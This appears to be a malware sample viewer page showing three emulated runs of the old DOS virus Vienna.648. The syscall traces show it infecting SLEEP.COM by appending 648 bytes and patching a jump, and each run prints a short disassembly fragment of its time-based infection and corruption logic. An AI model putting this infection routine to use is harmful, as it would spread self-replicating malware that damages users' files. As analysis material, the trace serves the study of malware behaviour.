Sample viewer

vx.netlux.org/Virus.DOS.Vienna.648.i

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:47:58.120939776Z 48 PC: 12ab9 | Get DOS version
2018-12-17T22:47:58.123350957Z 47 PC: 12ac5 | Get disk transfer address
2018-12-17T22:47:58.125300832Z 26 PC: 12ad8 | Set disk transfer address
2018-12-17T22:47:58.126913261Z 78 PC: 12b64 | Find first file
2018-12-17T22:47:58.133662103Z 67 PC: 12ba2 | Get or set file attributes
2018-12-17T22:47:58.149039498Z 67 PC: 12bb5 | Get or set file attributes
2018-12-17T22:47:58.16552233Z 61 PC: 12bc0 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:47:58.176485862Z 87 PC: 12bcc | Get or set file date and time
2018-12-17T22:47:58.178751619Z 44 PC: 12bd8 | Get time 0x12bd8: and dh, 7
0x12bdb: jne 0x12bed
0x12bdd: mov ah, 0x40
0x12bdf: mov cx, 5
0x12be2: mov dx, si
0x12be4: add dx, 0x8a
0x12be8: int 0x21
0x12bea: jmp 0x12c51
0x12bed: mov ah, 0x3f
0x12bef: mov cx, 3
0x12bf2: mov dx, 0xa
0x12bf5: nop
0x12bf6: add dx, si
0x12bf8: int 0x21
0x12bfa: jb 0x12c51
0x12bfc: cmp ax, 3
0x12bff: jne 0x12c51
0x12c01: mov ax, 0x4202
0x12c04: mov cx, 0
0x12c07: mov dx, 0
2018-12-17T22:47:58.18113075Z 63 PC: 12bfa | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:47:58.18835261Z 66 PC: 12c0c | Move file pointer
2018-12-17T22:47:58.190506607Z 64 PC: 12c30 | Write file or device (Write 648 bytes on handle 5)
2018-12-17T22:47:58.200350776Z 66 PC: 12c42 | Move file pointer
2018-12-17T22:47:58.201948307Z 64 PC: 12c51 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:47:58.210168994Z 87 PC: 12c66 | Get or set file date and time
2018-12-17T22:47:58.212363258Z 62 PC: 12c6a | Close file
2018-12-17T22:47:58.221601176Z 67 PC: 12c79 | Get or set file attributes
2018-12-17T22:47:58.232345025Z 26 PC: 12c86 | Set disk transfer address
2018-12-17T22:47:58.234313885Z 74 PC: 12a4c | Reallocate memory
2018-12-17T22:47:58.235773617Z 74 PC: 12a53 | Reallocate memory
2018-12-17T22:47:58.237639754Z 9 PC: 12a7d | Display string (String= 'RAM bytes available: 578240 ')
2018-12-17T22:47:58.242944261Z 76 PC: 12a82 | Terminate with return code (Return code = '0')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":9404,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:06.953052121Z 48 PC: 12ab9 | Get DOS version
2018-12-25T12:23:06.95514178Z 47 PC: 12ac5 | Get disk transfer address
2018-12-25T12:23:06.956262362Z 26 PC: 12ad8 | Set disk transfer address
2018-12-25T12:23:06.957440468Z 78 PC: 12b64 | Find first file
2018-12-25T12:23:06.964138247Z 67 PC: 12ba2 | Get or set file attributes
2018-12-25T12:23:06.970243568Z 67 PC: 12bb5 | Get or set file attributes
2018-12-25T12:23:06.987598217Z 61 PC: 12bc0 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:23:06.995122565Z 87 PC: 12bcc | Get or set file date and time
2018-12-25T12:23:06.996452746Z 44 PC: 12bd8 | Get time 0x12bd8: and dh, 7
0x12bdb: jne 0x12bed
0x12bdd: mov ah, 0x40
0x12bdf: mov cx, 5
0x12be2: mov dx, si
0x12be4: add dx, 0x8a
0x12be8: int 0x21
0x12bea: jmp 0x12c51
0x12bed: mov ah, 0x3f
0x12bef: mov cx, 3
0x12bf2: mov dx, 0xa
0x12bf5: nop
0x12bf6: add dx, si
0x12bf8: int 0x21
0x12bfa: jb 0x12c51
0x12bfc: cmp ax, 3
0x12bff: jne 0x12c51
0x12c01: mov ax, 0x4202
0x12c04: mov cx, 0
0x12c07: mov dx, 0
2018-12-25T12:23:06.998488472Z 63 PC: 12bfa | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:23:07.005053198Z 66 PC: 12c0c | Move file pointer
2018-12-25T12:23:07.007234343Z 64 PC: 12c30 | Write file or device (Write 648 bytes on handle 5)
2018-12-25T12:23:07.016026001Z 66 PC: 12c42 | Move file pointer
2018-12-25T12:23:07.017652598Z 64 PC: 12c51 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:23:07.024869972Z 87 PC: 12c66 | Get or set file date and time
2018-12-25T12:23:07.02638982Z 62 PC: 12c6a | Close file
2018-12-25T12:23:07.046321346Z 67 PC: 12c79 | Get or set file attributes
2018-12-25T12:23:07.053090808Z 26 PC: 12c86 | Set disk transfer address
2018-12-25T12:23:07.054369831Z 74 PC: 12a4c | Reallocate memory
2018-12-25T12:23:07.055831563Z 74 PC: 12a53 | Reallocate memory
2018-12-25T12:23:07.057462251Z 9 PC: 12a7d | Display string (String= 'RAM bytes available: 578240 ')
2018-12-25T12:23:07.060232461Z 76 PC: 12a82 | Terminate with return code (Return code = '0')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":7,"TimeBased":true,"OriginalID":9404,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:07.445925414Z 48 PC: 12ab9 | Get DOS version
2018-12-25T12:23:07.447479187Z 47 PC: 12ac5 | Get disk transfer address
2018-12-25T12:23:07.461597673Z 26 PC: 12ad8 | Set disk transfer address
2018-12-25T12:23:07.462922609Z 78 PC: 12b64 | Find first file
2018-12-25T12:23:07.469298789Z 67 PC: 12ba2 | Get or set file attributes
2018-12-25T12:23:07.475065959Z 67 PC: 12bb5 | Get or set file attributes
2018-12-25T12:23:07.49317306Z 61 PC: 12bc0 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:23:07.50607169Z 87 PC: 12bcc | Get or set file date and time
2018-12-25T12:23:07.507935485Z 44 PC: 12bd8 | Get time 0x12bd8: and dh, 7
0x12bdb: jne 0x12bed
0x12bdd: mov ah, 0x40
0x12bdf: mov cx, 5
0x12be2: mov dx, si
0x12be4: add dx, 0x8a
0x12be8: int 0x21
0x12bea: jmp 0x12c51
0x12bed: mov ah, 0x3f
0x12bef: mov cx, 3
0x12bf2: mov dx, 0xa
0x12bf5: nop
0x12bf6: add dx, si
0x12bf8: int 0x21
0x12bfa: jb 0x12c51
0x12bfc: cmp ax, 3
0x12bff: jne 0x12c51
0x12c01: mov ax, 0x4202
0x12c04: mov cx, 0
0x12c07: mov dx, 0
2018-12-25T12:23:07.510040703Z 63 PC: 12bfa | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:23:07.516467309Z 66 PC: 12c0c | Move file pointer
2018-12-25T12:23:07.518245022Z 64 PC: 12c30 | Write file or device (Write 648 bytes on handle 5)
2018-12-25T12:23:07.526536777Z 66 PC: 12c42 | Move file pointer
2018-12-25T12:23:07.527823956Z 64 PC: 12c51 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:23:07.535430504Z 87 PC: 12c66 | Get or set file date and time
2018-12-25T12:23:07.536881913Z 62 PC: 12c6a | Close file
2018-12-25T12:23:07.544458171Z 67 PC: 12c79 | Get or set file attributes
2018-12-25T12:23:07.55512741Z 26 PC: 12c86 | Set disk transfer address
2018-12-25T12:23:07.556273263Z 74 PC: 12a4c | Reallocate memory
2018-12-25T12:23:07.557536978Z 74 PC: 12a53 | Reallocate memory
2018-12-25T12:23:07.559640814Z 9 PC: 12a7d | Display string (String= 'RAM bytes available: 578240 ')
2018-12-25T12:23:07.563135722Z 76 PC: 12a82 | Terminate with return code (Return code = '0')